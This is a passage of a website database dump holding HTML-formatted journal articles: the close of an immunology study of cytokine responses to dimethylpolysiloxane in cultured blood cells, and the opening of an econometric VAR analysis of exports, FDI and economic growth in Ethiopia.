lymphocyte receptor occurred in DMPS-implanted patients. DMPS was very hydrophobic, that proteins adsorbed on its surface could be denaturated. This process would lead endogen protein to become antigenic protein due to structure changes. Dominant shifting toward Th2 subset lead to IL-13 secretion by Th2 lymphocyte. Beside its role in monocyte or macrophage fusion, IL-13 could become a marker that inflammation entered the chronic phase [8]. Data obtained from this study showed that the activity of IL-13 was seen in the DMPS group, but did not differ significantly (P&lt;0.05) from the negative control group. Ford et al [20] revealed that IL-13 and IFN-&gamma; were mutually synergistic in enhancing the activity of IL-6 to trigger chronic inflammation in the tissue. Nevertheless, the activity of IL-13 did not become dominant immune response to DMPS exposure. In this study, the immune response due to DMPS exposure was dominated by the activity of TNF-&alpha; and IL-6, not by IFN-&gamma; or IL-13. In addition, there was a significant correlation (p &lt;0.05) between the persistence of non-specific immune system components dominated by monocytes and increased level of TNF-&alpha; and IL-6 (r = 0.54 and 0.46, respectively). The data indicated the role of non-specific immune system components in dominating the cellular activity that occurred as a response to DMPS exposure, compared with lymphocytes as a specific component of the immune system. This data were in contrast with the response that occurred in the tissue. Foreign body reaction due to DMPS exposure showed monocytes and lymphocytes infiltration, and histiocytes formation in the DMPS-injected area [2]. Data of Ojo-Amaize et al [21] are also different result from ours. There was specific activity of T lymphocytes due to silicone exposure characterized by T lymphocyte proliferation. It means, that there was a possibility DMPS was able to induce specific immune response.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>7. Conclusion</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Immune response due to DMPS exposure was dominated by TNF-&alpha; and IL-6 activity, not by IFN-&gamma; and IL-13. Both TNF-&alpha; and IL-6 were the result of activity of non-specific immune system components, monocyte particularly. Immune response due to DMPS exposure was induced initially by Vroman effect that occurred on DMPS surface. It means, that immune response generated on DMPS surface depended on the plasma protein profile in patients body. The activity of TNF-&alpha; and IL-6 in normal patients was higher significantly than in patients with granulomas. However the result in other cytokines was not significant. Therefore, based on the pattern of immune response, DMPS was not immunogen, but able to induce inflammation mediated by plasma protein and the activity of non-specific immune system components, particularly monocytes.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>8. Acknowledgement</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The Authors would like to thank the Department of Pathology, University of Indonesia, The Diagnostic and research center, University of Indonesia and the Department of Analytical Chemistry, University of Indonesia for providing research facilities needed in this study</span></p>\r\n','<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/16936547\">Narins RS, Beer K (2006) Liquid injectable silicone: A review of its history, immunology, technical, consideration, complication, and potential. PlastReconstrSurg 118: 77S-84S.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/20669503\">Bondurant S, Ernster V, Herdman R (1995) Safety of silicone breast implants. National Academy Press, Washington DC 179-197.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/21740791\">Chen Y, Chen M, Chiu Y (2011) A case of mimicking angioedema: Chin silicone granulomatous reaction spreading all over the face after receiving liquid silicone injection forty years previously. Chin Med J 124: 1747-1750.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/12095418\">Iribarren P, Correa SG, Sodero N, Riera CM (2002) Activation of macrophage by silicone: Phenotype and production oxidant metabolites. BMC Immunol 3: 1-6.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/16416635\">Duffy DM (2005) liquid silicone for soft tissue augmentation. Dermatol Surg. 31: 1530-1541.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Prasetyono TOH (2007) Data survey kasusakibatsuntikansilikon di Indonesia. PERAPI. </span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/18641358\">Fielding CA, McLoughlin RM, McLeod L, Colmont CS, Najdovska M, et al. (2008). IL-6 regulates neutrophil trafficking during acute inflammation via STAT3. JImmunol 181: 2189-21895.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC2327202/\">Anderson JM, Rodriguez A, Chang DT (2008) Foreign body reactions to biomaterials. SeminImmunol 20: 86-100.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.elsevier.com/books/cellular-and-molecular-immunology/abbas/978-1-4377-1528-6\">Abbas AK, Litchman AH, Pillai S (2012) Cellular dan molecular immunology. Seventh edition. Philadelphia: Elsevier Saunders.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/9455885\">Katial RK, Sachanandani D, Pinney C, Lieberman MM (1998) Cytokine production in cell culture by peripheral blood mononuclear cells from immunocompetent hosts. Clin And Diag LabImmunol 5: 78-81.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC95986/\">Sullivan KE, Cutillli J, Piliero LM, Ghavimi-Alagha D, Starr SE, et al. (2000) Measurement of cytokine secretion, intracellular protein expression, and mRNA in resting and stimulated peripheral blood mononuclear cells. Clinand Diag LabImmunol 7: 920-924.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/17662460\">Lovelace MD, Cahill DM (2007) A rapid cell counting method utilizing acridine orange as a novel discriminating marker for both cultured astrocyte and microglia. J Neuroscience Methods 165: 223-229.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/22940217\">Battiston KG, Labow RS, Santerre JP (2012) Protein binding mediation of biomaterial-dependent monocyte activation on degradable polar hydrophobic ionic polyurethane. Biomaterials 33: 8316-8328.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/15264659\">Jones JA, Dadsetan M, Collier TO, Ebert M, Stokes KS, et al. (2004) Macrophage behavior on surface-modified polyurethanes. J. Biomater. Sci. Polymer Edn 15: 567-84.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/21124909\">Djuardi Y, Sartono E, Wibowo H, Supali T, Yazdanbakhsh M (2010) A longitudinal study of BCG vaccination in early childhood: The development of innate and adaptive immune responses. 5: e14066.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/19132915\">Korn T, Bettelli E, Oukka M, KuchrooVK (2009) IL-17 and Th17 cells. Annu Rev Immunol27: 485-517.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/18261937\">Egen JG, Rothfuchs AG, Feng CG, Winter N, Sher A, et al. (2008) Macrophage and T cell dynamics during development and disintegration of mycobacterial granulomas. Immunity 28: 271-284.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/23516981\">Wick G, Grundtman C, Mayerl C, WimpissingerT, Feichtinger J, et al. (2013) The immunology of fibrosis. Annu. Rev. Immunol. 31: 107-35.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/10882054\">O&rsquo;Hanlon TP, Lawless OJ, Katzin WE, Feng L, Miller FW (2000) Restricted and shared patterns of TCR b-chain gene expression in silicone breast implant capsules and remote sites of tissue inflammation. JAutoimmun. 14: 283-293.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/11466402\">Ford JG, Rennick D, Donaldson DD Venkayya R, McArthur C, et al. (2001) IL-13 and IFN-&gamma;: Interaction in lung inflammation. J Immunol 167: 1769-1777.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/8556522\">Ojo-Amaize EA, Conte V, Lin H, Brucker RF, Agopian MS, et al. (1994). Silicone-spesific blood lymphocyte response in women with silicone breast implants. Clinical and Diagnostic Laboratory Immunology 1: 689-695.</a></span></span></li>\r\n</ol>\r\n','<p style=\"text-align:center\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/477e4407.jpg\" style=\"height:166px; width:234px\" /></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 1:</strong> PBMC stained with acridine orange with 40X10 magnification. Asterix (*) sign represents lymphocyte and arrow (&agrave;)&nbsp; sign represent monocyte(Source: Self Documentation).</span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/483531de.jpg\" style=\"height:505px; width:288px\" /></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 2: </strong>Ratio between pro inflammatory and anti-inflammatory cytokines. (a) Ratio between TNF-&alpha; and IL-10; (b) Ratio between IL-6 and IL-10; (c) Ratio between IFN-&gamma; and IL-10. Asterix (*) sign represents significant differences (p&lt;0,05) between negative control and DMPS group with other group through one-way ANOVA analysis. Double asterix (**) sign represents significant differences (p&lt;0,05) between normal patients and patients with granuloma through independent T test.</span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/49f039ad.jpg\" style=\"height:189px; width:349px\" /></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 3:</strong> Level of IL-13 in PBMC cultured after 72 hours incubation in LPS, PHA, DMPS, DMPS+AP and negative control (RPMI).</span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/5062c35b.jpg\" style=\"height:198px; width:616px\" /></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 4:</strong> Correlation of monocyte ratio in PBMC population after 72 hours incubation and the level of TNF-&alpha; and IL-6 (r= 0.54 and r= 0.46, respectively).</span></span></p>\r\n','<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation: </strong>Harlim A, Mujadid F, Wibowo H (2018) Interaction Between Dimethylpolysiloxane and Autologous Plasma Triggering <em>in Vitro </em>Inflammation in Cultured PBMC. Curr Updates Dermatol Probl: CUDP-100001. </span></p>\r\n','','1544031441.pdf',NULL,'1544031441.jpg','',0,1,'2018-12-05 23:07:20','2018-12-05 23:08:47',1),(27,35,'20','2018','Export, Foreign Direct Investment (FDI) and Economic Growth in Ethiopia: VAR Analysis','Ahmed Kasim Dube1 and Burhan Ozkan2*','Research Article','Export-Foreign-Direct-Investment-FDI-and-Economic-Growth-in-Ethiopia-VAR-Analysis','Export-Foreign-Direct-Investment-FDI-and-Economic Growth in Ethiopia: VAR-Analysis','Export Foreign Direct Investment (FDI)-and-Economic-Growth-in-Ethiopia-: VAR-Analysis','Export-Foreign-Direct-Investment-(FDI)-and-Economic-Growth-in-Ethiopia-:-VAR-Analysis','<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Open Access Journal of Agriculture Research</strong></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Export, Foreign Direct Investment (FDI) and Economic Growth in Ethiopia: VAR Analysis</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Ahmed Kasim Dube<sup>1</sup> and Burhan &Ouml;zkan<sup>2*</sup></strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><sup>1</sup>PhD student at Department of Agricultural Economics, Faculty of Agriculture, Akdeniz University, Antalya, Turkey</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><sup>2*</sup>Department of Agricultural Economics, Faculty of Agriculture, Akdeniz University, Antalya, Turkey</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><sup>*</sup></strong><strong>Corresponding author</strong>: Burhan Ozkan, Department of Agricultural Economics, Faculty of Agriculture, Akdeniz University, Antalya, Turkey, Tel: +902423102475, Fax: +902422274567 Email: <a href=\"mailto:aburushdakasim@gmail.com\">aburushdakasim@gmail.com</a></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation:</strong> Ozkan B, Dube AK (2018) Export, Foreign Direct Investment (FDI) and Economic Growth in Ethiopia: VAR Analysis. Open Acc J Agri Res: OAJAR-1000111.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Received Date: </strong>26 October, 2018; <strong>Accepted Date: </strong>26 November, 2018; <strong>Published Date: </strong>06 December, 2018</span></p>\r\n','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1. Abstract </strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The objectives of this paper was to examine long run dynamic relationship between FDI, export and economic growth in Ethiopia using long run data from 1970-2016. Vector autoregressive model was implemented to achieve the objective. The lag selection criteria applied to the VAR model revealed VAR (1) model was an optimal model for the study. The results of Johansen Cointegration technique indicated that there is no cointegration between the series. However, the Granger Causality/Block Exogeneity Wald Tests statistics showed that there is unidirectional causal flow from FDI and export to GDP. There is no Granger causality from GDP to other series. This result was supported by the impulse response relationship and variance decomposition analysis. The result showed that the shock to GDP has positive effect on its values. But, it had zero effect on both export and FDI. There was significant and positive impulse response relationship from export to GDP throughout the period. About 80% of variation in GDP was caused by export.&nbsp; Similarly, the Granger causality from FDI to GDP was also significant. Thus, the evidence suggests that Ethiopia should emphasize the export-led growth strategy in addition providing good environments to attract more capital investments with enhanced technology and competitive industrial productions for exports. </span></p>\r\n','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>2. Keywords:</strong><strong> </strong>Export; FDI; Economic growth; Vector autoregressive regression </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>3. Introduction</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Examination of the casual relationship between foreign direct investment (FDI), export, and economic growth has attracted the attention of researchers and continues to be of a crucial interest among policy makers in both developing and developed countries. This was motivated by the role that foreign direct investment and export have played in many economies of the world. However, depending on the period under consideration and the econometric methods applied, varied causal relationships were obtained between these series in different countries of the world [1].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Several studies were undertaken to examine the causal relationship between FDI and economic growth. This was motivated by the role that foreign direct investment has played in many economies of the world. There was also widespread belief among policy makers that foreign direct investment enhances the productivity of host countries and promotes development [2]. Frank and Mei-chu (2006) [3] using time series and panel data from 1986 to 2004 examined the granger causality relationship between GDP, export and FDI among eight rapidly growing east and Southeast Asian economies. The results revealed that FDI has unidirectional effects on GDP directly and indirectly through export.&nbsp; Similar results were found by Odongo (2012) [4] who used multivariate vector autoregressive model (VAR) and investigated the impact of foreign direct investment (FDI) on economic growth of Uganda for the periods between 1970 and 2010. The finding of the study indicated that foreign direct investments are of great importance in stimulating economic growth in Uganda. Foreign direct investment had affected economic growth in three different channels which includes direct transmission from FDI to GDP growth, indirectly through domestic investments by multiplier process, and through exports by which it yields export led growth.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The causal relationship is not always from FDI to economic growth. Bianca (2012) [5] using VAR examined the causal relationship between FDI and Economic growth in Romania between 1991-2009. FDI was obtained not initiating economic growth while economic growth was an important factor in terms of attracting FDI in Romania. Similar result was obtained by Ingo (2015) [6] in his study in Namibia made by applying the autoregressive Distributed Lag (ARDL) approach to quarterly data for the period from 1980: Q1 to 2013: Q4.&nbsp; The results from the study indicated that economic growth was explained by itself and FDI does not have a role to play in explaining economic growth both in the short run and long run. However, an empirical works undertaken by [1] for Romania revealed different result. They used vector error correction model (VECM) to analyse quarterly data for the period from 2005-2014. Their finding indicated that there was a positive significant bidirectional relationship between FDI and GDP. More than 50% of fluctuation in FDI was caused by shocks in GDP. Romero (2015) [7] in his study also obtained that there was bidirectional causality between FDI and GDP.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Several empirical works had also examined the causal relationship between FDI and export. Like the previous causal relationship, there was also no unanimity in the direction whether FDI causes exports or exports cause FDI. Martin (2010) [8] examined the dynamics of export and outward foreign direct investment flows in Spain using time series data from 1993-2008. The result of multivariate co-integrated model (VECM) indicated that there was a positive Granger (causality) relationship running from FDI to export of goods (stronger) and to export of services (weaker) in the long run. In the short run, however, only exports of goods are affected (positively) by FDIs. The relationship between export and FDI are either direct or indirect. Similarly, the work of Romero (2015) [7] in Mexico showed that FDI and export are either directly or indirectly related. In the empirical work of Nguyen (2011) [9] for Korea and Malaysia, bidirectional relationship was obtained in Malaysia while no causal relationship was obtained in Korea between FDI and export. They attributed these differences to different economic policy followed by the two countries. That is, although both countries implemented policies of export-orientated industrialization, the Malaysian government promoted FDI as a tool of industrialization, while the Korea government built an &ldquo;integrated national economy&rdquo; using industrial structures and minimizing the role of FDI.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The other important relationship is the causality that dictates either export-led-growth or growth-led-exports. Uni-directional causality between export and economic growth was obtained for Ethiopia suggesting export-led growth strategy [10,11]. However, empirical work by Hussain (2014) [12] for Pakistan showed that even though relationship exists between economic growth (GDP) and export, worthy of note is that causality runs from economic growth to export. These indicate that there is no agreement among researchers as to whether the causality is from export to economic growth or vice versa.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Therefore, the three types of causal relationship between FDI, export and economic growth mentioned above varies depending on the analyzed period, the countries that are studied and the econometric methods applied. There is no clear causality between these variables. Different empirical works either confirmed unidirectional or bidirectional causality relationships, while others indicated absence of any type of causality [13]. In Ethiopia, the study so far undertaken focused either only on causal link between economic growth and export [11, 14-16] or on FDI and economic growth [17,18].&nbsp; But as it is indicated in the previous paragraphs, there is possibility of causal flow between these three economic variables. Without understanding the direction of the relationships between these variables, it is not possible to draw important lessons for policy making purposes in an effort to pursue more effective policies that promote economic growth. Therefore, the objective of this paper was to find the causality relationship between FDI, export and economic growth in Ethiopia.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4. Methodology </strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.1.&nbsp;</strong><strong>Description of data </strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The purpose of this study was to examine the dynamic relationship between real economic growth as measured by real GDP and selected macroeconomic variables including export and FDI. They were sourced from UNCTAD data base, World Bank open data base and National bank of Ethiopia annual report (NB, 2016/17) [19]. These annual data covering the period from 1970 to 2016 were expressed in natural logarithms. Consequently, LNGDP is the logarithm of real GDP, LNEXPORT is the logarithm of real exports and LNFDI is the logarithm of real foreign direct investment. All the variables are expressed in millions of US dollars before taking logs. The following figure describes our three series including LNDGP (Figure 1), LNEXPORT (Figure 2) and LNFDI (Figure 3) for Ethiopia. </span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.2.&nbsp;</strong><strong>Building the vector autoregressive model (VAR)</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The VAR model developed by Sims (1980) [20] was used by many researchers to examine the dynamic relationships between two (or more) time series variables in different part of the world. In this study also VAR model was used to study the causal relationship between export, FDI and economic growth in Ethiopia. Following L&uuml;tkephol (2005) [21] the general VAR (p) model is described as follows:</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/5117abc3.jpg\" style=\"height:37px; width:456px\" /></span></p>\r\n\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n\r\n<p style=\"text-align:justify\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/5242367b.jpg\" style=\"height:77px; width:649px\" /></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">From this general VAR (p) model, we developed a VAR (1) model for DLNGDP, DLNFDI and DLNEXPORT. The scalar notation of VAR (1) model was described as follows:</span></p>\r\n\r\n<p style=\"text-align:justify\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/53c31bb8.jpg\" style=\"height:75px; width:696px\" /></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">As shown in the above VAR (1) model, all variables were considered as endogenous variable. Consequently, three equations were developed with similar regressors, which are the lagged values of DLNGDP, DLNFDI and DLNEXPORT.&nbsp; c<sub>i</sub> and A<sub>ij</sub> are the intercept terms and regression coefficient respectively. e<sub>it</sub> represents error in prediction of each outcome at time t. The equations were solved using ordinary least squares (OLS) estimation. To check consistency of parameters, diagnosis test including autocorrelation test, heteroscedasticity and normality test were applied to the estimated VAR model.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.3.&nbsp;</strong><strong>Tools for testing unit root of time series</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">There are a variety of powerful tools for testing a series (or the first or second difference of the series) for the presence of a unit root. But, in this paper Augmented Dickey-Fuller (1979) [22] and Phillips-Perron (1988) [23] test were used to test the stationarity of data.&nbsp; The test was conducted for both level and differenced data using model only with intercept and model with intercept and trend (VAR Ethiopia).</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.4.&nbsp;Cointegration test</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Co-integration is a powerful way of detecting the presence long run relationship or steady state equilibrium between variables [24].&nbsp; Different co-integration techniques that were developed to determine the long run relationship between time series includes [25], Autoregressive Distributed Lag (ARDL) co-integration technique or bound test of co-integration [26-28]. Among these techniques, a Johansen (1988) [27] Cointegration technique was used in this study. In the absence of cointegration, long run relationship between variables can be studied by using VAR.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.5.</strong>&nbsp;<strong>Granger causality model </strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">The concept of causality defined by Granger (1969) has become quite popular in recent years. The idea is that if z<sub>t </sub>can be predicted more efficiently by taken into account information in x<sub>t</sub>process in addition to all other information in the universe, then x<sub>t </sub>is Granger-causal for z<sub>t</sub> &nbsp;[21]. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">The Granger causality will be tested by applying Granger causality/Block erogeneity Wald statistics test. This test will helps us to know whether the lags of one variable can Granger cause any other variables in the VAR system. Accordingly, the null hypothesis stating all lag of a variable can be excluded from the model is tested against alternative hypothesis in which all lags of a variable cannot be excluded. Rejection of the null is an indication of causality between variables [29].&nbsp; </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.6.&nbsp;</strong><strong>The impulse-response function </strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">The results of Granger cause cannot tell us the direction and the size of Granger cause. These are obtained by analyzing the impulse-response function and the variance decomposition. An impulse response function was used to trace the effect of a one-time shock to one of the innovations on current and future values of the endogenous variables through the dynamic lag structure of the VAR model estimation. According to L&uuml;tkephol (2005) [21], impulse responses can be computed easily from the structural form parameters. Rewriting the VAR in levels form as:</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/54b7a261.jpg\" style=\"height:183px; width:676px\" /></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.7.&nbsp;Variance decomposition</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Forecast random error variance decompositions are alternative tools for analyzing the dynamic interactions between the variables of a VAR model [21]. It tells us by how much a given variable changes due to its own shocks and the shocks of other variables. If a variable is not affected by random effect of any of the variables in the VAR system then the variable is said to be exogenous. If however, the random error of any variable affects the forecast error of variable at all forecast period, then the variable is said to be endogenous.&nbsp; Thus, forecast random error variance decomposition defines the relative importance of each random innovation in affecting the variables in the VAR [29]. Denoting by w<sub>kj</sub>(h) the percentage contribution of variable j to the h-step forecast error variance of variable k, it can be shown that [21]:</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/553b5d8e.jpg\" style=\"height:131px; width:719px\" /></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>5. Estimation and Discussion of Results </strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>5.1.</strong>&nbsp;<strong>Unit root test results</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">To mitigate fluctuation, the real values of all economic variables were transformed into logarithmic values. According to results presented in (Table 1), the test results of both Augmented Dickey-Fuller (ADF) and Philips-Perron showed that there is no stationarity in the level data both in only intercept and with both intercept and time trend model. Their absolute values are less than the absolute value of 5 percent critical value of - 2.927. Thus, they have a unit root and we continue to test the unit root of their first difference. In this case (Table 2), since their absolute values are higher than the absolute value of 5 percent critical values of -3.19, we can reject the null hypothesis of non-stationary at a 0.05 level. Thus, we can conclude that the series are integrated of order 1 (i.e., I (1)).</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>5.2.&nbsp;</strong><strong>Determining lag order</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>&nbsp;</strong>According L&uuml;tkephol (2005) [21], using too few lags can results in auto correlated errors whereas using too many lags results in over fitting of the VAR model. Consequently, the choice of the optimal lag-length was made by minimizing the sequential modified LR test statistic (LR), Final prediction error (FPE), Akaike Information Criteria (AIC) and Schwarz Bastian Information Criteria (BIC). According to results presented in (Table 3), all the five criteria (LR, FPE, AIC, SC and HQ<strong>) </strong>recommend a VAR model with lag equal to 1. Consequently, the joint optimal lag length of order one (VAR (1)) was estimated.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>5.3.&nbsp;</strong><strong>Co-integration test</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Testing the existence of long-term relationship between the dependent and the explanatory variables in a multivariate framework necessitates determination of the degree of co-integration between vectors. The determination of the number of co-integrating vectors is usually based on the method of two likelihood ratio (LR) test statistics; the trace test and the maximum eigen value test. In this study the test was made using both 